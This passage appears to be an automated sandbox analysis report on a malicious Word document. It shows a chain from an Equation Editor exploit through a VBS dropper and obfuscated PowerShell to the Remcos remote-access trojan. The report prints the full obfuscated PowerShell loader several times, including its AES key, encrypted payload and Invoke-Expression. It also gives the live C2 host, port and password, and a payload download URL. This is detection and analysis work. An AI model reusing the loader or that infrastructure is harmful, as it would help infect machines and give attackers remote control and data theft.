TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion'
              Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion'
              Sigma detected: Suspicious Microsoft Office Child Process
              Source: Process startedAuthor: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 532, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS" , ProcessId: 3128, ProcessName: wscript.exe
              Sigma detected: WScript or CScript Dropper
              Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 532, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS" , ProcessId: 3128, ProcessName: wscript.exe
              Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
              Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 532, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\createactiveimagesbeautygirlf.vBS" , ProcessId: 3128, ProcessName: wscript.exe
              Sigma detected: Modification of IE Registry Settings
              Source: Registry Key setAuthor: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 532, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings
              Sigma detected: Non Interactive PowerShell Process Spawned
              Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion'
              Sigma detected: Office Macro File Creation
              Source: File createdAuthor: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ProcessId: 3000, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
              Sigma detected: Potential Encoded PowerShell Patterns In CommandLine
              Source: Process startedAuthor: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI31045819173442745210226027008389CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIgROtij99MoqAl/1G6M0vqbtZNqaPOCvjW7wdfeQ2dm55MRRbSDL2dTjprdiVH4QRo9tuowqh9VUVcWHVl7wdpldrVYCVSlBSHKYYtX3y3EC19QGlIL2fuyXvSxhXzrCpIXVHSexgj/ylJqNpMqCRbGFmQ7b0X+QTYTuCcqP+5yOBN4O6atlPw9w8pPhK9OTe6qU1yD4u4I80Cm5MU98/PR4+8ywARZuaKE5pEc8m1O4Ku1/SjPgmLSinIDTNFgago2s309DvIv/fkTnnaxJJczMR5wDbQltFtGUCrdEGLC3QBCwcPMgT1xJ0gL7Ve4guK6HuDNkBARVx6IE3AsAcjSL8uN9O0YKkXZEyQFJY1x6z5q3ahy4Xxler3uLigmmxVv2bdi4UGe5zCCvgmZwAlk6A/59+vdpW/EApuL514/a+Us8piX4u0JPOtD/FDvCmST/nbK2n2paq0EHKxXMwpkzKA1e+BUpnxwXJrfWegtDerIVzkg4xcqmje/DZ1H6Bw6vOf7gbPCwnFhiOKYIlAUdEBwJQtctWrQXdrXo3BEIBT1iE51b3Ojwza1v/g2n2T89FWu55Ux7+dXeIf/O2oMp2w4BJQAWnE2xjfpMi8oCUaCfhIMYRUWU1jgqQLc20g1WDprYvcHmu/6WCfwKaZBxu2z+Dc8hoJblkIz6G02yRyV03HspeACrW1WOgOWNnx9NyLIR6QGyZDyySjqrZgvZX2eD0jEY/V4HSH4zkwVsY3946yvCZswuFKgBbCPhD+J/kkL82M6ZPLi5i+j/So2Di9yY5G1LQWpa/f21tFFWNALSnPpWZdIwDAUgc2jlgpS7d7owMPgN6mz5coCsW9NZ1UoebwAvfaX+oRKQ5t4PfHDWuSPgE1KN0mwHl53Hcv2snX7vYYfSpZT6NkY++2xTpeXo+wxcnj2u+K0vmB0GqKc/f4jAuzCGMbcbLLRbx1LnOgRNjOWQZO7twOygr6YzL5MR1KK76WIXLJPTrooLwxOcbA09by8F2V9p+AZjUTmbcGHANFIIQjyWDooeg0zffos+sGI2tr+sGif31XZRdk5TGul9q7WHoMauH7x8xeSJY8ba38e/dCsFUMyBE7HV40jAXlGVJ3rxJI2PNkH2P8jPlmKDcONW2RmaifAYWeGMRGhTt4k1orKVFZi3eJD4zgS2+RDViMcp4NNW8SVqhy+EqIQx/8s1JDCT0kgYFf8i88r+i3XTRgoU+2mySon8QoxRya6lglkmbykEhjvoCPgXrCea62Jbr2poBuYXqEt4X+bGR9DaCEefuC/8BCKU+6SZ5tMXp6Ohd/vZ3jRhMzP4KN+C5QYkBc0qhxnlUoX3at07CgYwnEtPcCGfxKEyP13rjbBZNm31t6ElJuHqKBjGiMZUmGKIIxSu8Zm9izO0koXrBn8GAP3xWeGpRlQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion'
              Sigma detected: PowerShell Script Dropped Via PowerShell.EXE
              Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3172, TargetFilename: C:\Users\user\AppData\Local\Temp\ahb5qkdh.pj3.ps1

              Stealing of Sensitive Information

              barindex
              Sigma detected: Remcos
              Source: Registry Key setAuthor: Joe Security: Data: Details: 77 A9 80 9E 90 2C B8 6C 51 BA A5 B2 8E A0 16 C7 79 D0 CC 92 08 78 EC 20 68 CF E2 8F A1 4B DE A4 4E 3B 44 07 84 89 BB 52 B7 F6 66 B9 84 EE 49 49 A7 72 B3 8C 9D E0 39 B5 2D C9 20 F9 BF 26 10 6C 21 F5 FC 78 E6 40 52 82 2A 39 1D 19 F1 FC 37 85 40 FD 38 55 FE 96 C3 B0 43 02 77 EB 3D 1C 38 07 1B 75 19 AC EF 04 FA 29 66 07 FE 4F 4E D5 08 7D 33 BA , EventID: 13, EventType: SetValue, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, ProcessId: 3308, TargetObject: HKEY_CURRENT_USER\Software\Rmc-R2I0JW\exepath

              Snort Signatures

              ⊘No Snort rule has matched

              Suricata Signatures

              Timestamp:2024-07-26T15:00:06.818157+0200
              SID:2036594
              Source Port:49168
              Destination Port:14645
              Protocol:TCP
              Classtype:Malware Command and Control Activity Detected
              Timestamp:2024-07-26T15:00:03.219068+0200
              SID:2020424
              Source Port:80
              Destination Port:49167
              Protocol:TCP
              Classtype:Exploit Kit Activity Detected
              Timestamp:2024-07-26T15:00:01.128226+0200
              SID:2047750
              Source Port:80
              Destination Port:49166
              Protocol:TCP
              Classtype:A Network Trojan was detected
              Timestamp:2024-07-26T15:00:02.213626+0200
              SID:2049038
              Source Port:80
              Destination Port:49166
              Protocol:TCP
              Classtype:A Network Trojan was detected
              Timestamp:2024-07-26T15:00:08.528913+0200
              SID:2803304
              Source Port:49169
              Destination Port:80
              Protocol:TCP
              Classtype:Unknown Traffic

              Joe Sandbox Signatures

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Antivirus / Scanner detection for submitted sample
              Source: girlfrnd.docAvira: detected
              Antivirus detection for URL or domain
              Source: http://198.46.176.133/Upload/vbs.jpegAvira URL Cloud: Label: malware
              Found malware configuration
              Source: 00000008.00000002.870693888.0000000000501000.00000004.00000020.00020000.00000000.sdmpMalware Configuration Extractor: Remcos {"Host:Port:Password": "2024remcmon.duckdns.org:14645:1", "Assigned name": "zynova", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-R2I0JW", "Keylog flag": "0", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}
              Multi AV Scanner detection for submitted file
              Source: girlfrnd.docReversingLabs: Detection: 47%
              Yara detected Remcos RAT
              Source: Yara matchFile source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.2.powershell.exe.4017e48.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.2.powershell.exe.3779a80.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.2.powershell.exe.4017e48.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000008.00000002.870693888.00000000004E5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000002.870693888.0000000000501000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000002.870693888.0000000000519000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000006.00000002.358021067.0000000003BB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3172, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 3308, type: MEMORYSTR
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00433837 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,8_2_00433837
              Source: powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: -----BEGIN PUBLIC KEY-----memstr_3728becc-0

              Exploits

              barindex
              Yara detected UAC Bypass using CMSTP
              Source: Yara matchFile source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.2.powershell.exe.4017e48.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.2.powershell.exe.3779a80.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.2.powershell.exe.4017e48.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000006.00000002.358021067.0000000003BB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3172, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 3308, type: MEMORYSTR
              Office equation editor establishes network connection
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXENetwork connect: IP: 192.3.176.154 Port: 80Jump to behavior
              Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Windows\SysWOW64\wscript.exe
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess created: C:\Windows\SysWOW64\wscript.exeJump to behavior
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

              Privilege Escalation

              barindex
              Contains functionality to bypass UAC (CMSTPLUA)
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_004074FD _wcslen,CoGetObject,8_2_004074FD
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
